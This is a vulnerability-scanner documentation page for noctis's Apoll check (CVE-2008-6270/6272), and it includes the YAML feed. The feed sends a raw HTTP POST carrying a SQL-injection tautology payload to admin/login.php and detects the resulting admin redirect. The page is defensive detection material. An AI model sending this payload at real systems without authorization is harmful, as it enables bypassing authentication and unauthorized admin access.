Apoll — 1 vulnerability check

noctis ships 1 vulnerability check for Apoll, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Dragan Mitic Apoll admin/login.php SQL Injection

CVECVE-2008-6270, CVE-2008-6272
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/apoll/CVE-2008-6270.yaml

Tests for CVE-2008-6270 / CVE-2008-6272: the Apoll admin login (admin/login.php) is vulnerable to a SQL-injection authentication bypass. After confirming the login page is present (GET -> 200, no pre-existing redirect), the check POSTs a tautology payload "username=select username from ap_users' or ' 1=1'-- '&password=x" and matches the "Location: index.php" admin-index redirect that a vulnerable install returns on a successful (injected) login. A patched install still serves the login page but rejects the injection (no redirect) -> no finding.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /admin/login.php HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: POST /admin/login.php HTTP/1.1
  4. Checks resp.banner for (?m)^Location:\s*index\.php → finding QoD 75: Apoll admin/login.php SQL-injection auth bypass: the tautology login redirected to the admin index (Location: index.php). Response: …

References:

Feed source — tests/vulnerabilities/apoll/CVE-2008-6270.yaml
# Dragan Mitic Apoll admin/login.php SQL Injection — CVE-2008-6270 / CVE-2008-6272
#
# Apoll (Dragan Mitic) fails to sanitize the login form of admin/login.php
# before using it in a SQL query. The NASL injects the tautology
#   username=select username from ap_users' or ' 1=1'-- '&password=x
# into the login POST, which makes the authentication query evaluate true: a
# vulnerable install logs the attacker into the admin area and answers with a
# "Location: index.php" redirect to the admin index. The finding keys on that
# authenticated-area redirect (the real auth-bypass signal), not on any cookie,
# product banner or reflected input.
#
# Faithful port of OpenVAS/Greenbone NASL 2009/apoll_7_0_sql_injection.nasl
# (GPL-2.0-only):
#   1. GET admin/login.php — the login page must return 200 and must NOT already
#      carry a "Location: index.php" redirect (NASL false-positive gate).
#   2. POST admin/login.php with the exact SQLi body above (fields username /
#      password) plus a Referer header.
#   3. Confirm the auth bypass by matching "^Location: index.php" (per line) in
#      the raw response.
# Matching response headers / a redirect needs the raw response, so tcp_connect
# (+ resp.banner) is used rather than http_request (match cannot index a header
# map). QoD 75: the redirect proves the injected login reached the admin area
# (authenticated-content auth bypass), short of echoing injected DB output.
uid: fe8066bf-b87c-4761-8567-c36eb007f155
name: "Dragan Mitic Apoll admin/login.php SQL Injection (CVE-2008-6270)"
description: |
  Tests for CVE-2008-6270 / CVE-2008-6272: the Apoll admin login (admin/login.php) is
  vulnerable to a SQL-injection authentication bypass. After confirming the login page
  is present (GET -> 200, no pre-existing redirect), the check POSTs a tautology payload
  "username=select username from ap_users' or ' 1=1'-- '&password=x" and matches the
  "Location: index.php" admin-index redirect that a vulnerable install returns on a
  successful (injected) login. A patched install still serves the login page but rejects
  the injection (no redirect) -> no finding.
cves: [CVE-2008-6270, CVE-2008-6272]
cvss: 7.5
severity: high
confidence_base: 0.30
category: auth-bypass
tags: [apoll, sql-injection, auth-bypass, php, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-6270"
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-6272"
  - "OpenVAS/Greenbone NASL 2009/apoll_7_0_sql_injection.nasl (GPL-2.0-only)"

steps:
  # 0 — initialise the gate flag; it is read in a later condition and accessing
  #     an undefined Rhai var in a condition throws (silently skips the step).
  - id: gate-init
    action: set_var
    var_name: gate_ok
    var_value: false

  # 1 — NASL precondition GET: fetch the admin login page. tcp_connect keeps the
  #     raw response (status line + headers + body) in resp.banner and auto-wraps
  #     TLS for https targets.
  - id: login-page-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /admin/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: gate

  # 2 — gate evaluation: the login page must answer 200 and must not already
  #     redirect to index.php (NASL guards against apps that redirect every
  #     request, which would otherwise match the pattern below).
  - id: gate-eval
    action: script
    condition: "gate.connected == true"
    store_as: gate_ok
    code: |
      let b = gate.banner;
      ereg("^HTTP/1\\.[01] 200", b) && stridx(b, "Location: index.php") < 0

  # 3 — the SQL-injection login POST, with the NASL body verbatim (fields
  #     username / password) and a Referer header. Only sent when the login page
  #     gate passed.
  - id: sqli-login-post
    action: tcp_connect
    port: "{{port}}"
    condition: "gate_ok == true"
    send: "POST /admin/login.php HTTP/1.1\r\nHost: {{target_host}}\r\nReferer: http://{{target_host}}/admin/login.php\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 64\r\nConnection: close\r\n\r\nusername=select username from ap_users' or ' 1=1'-- '&password=x"
    store_as: resp

  # 4 — a vulnerable Apoll authenticates the injected login and redirects to the
  #     admin index: "Location: index.php" (anchored per line, as in the NASL).
  - id: match-admin-redirect
    action: match
    source: resp.banner
    pattern: "(?m)^Location:\\s*index\\.php"
    condition: "gate_ok == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Apoll admin/login.php SQL-injection auth bypass: the tautology login redirected to the admin index (Location: index.php). Response: {{resp.banner}}"
      stop: true

View these feeds on GitHub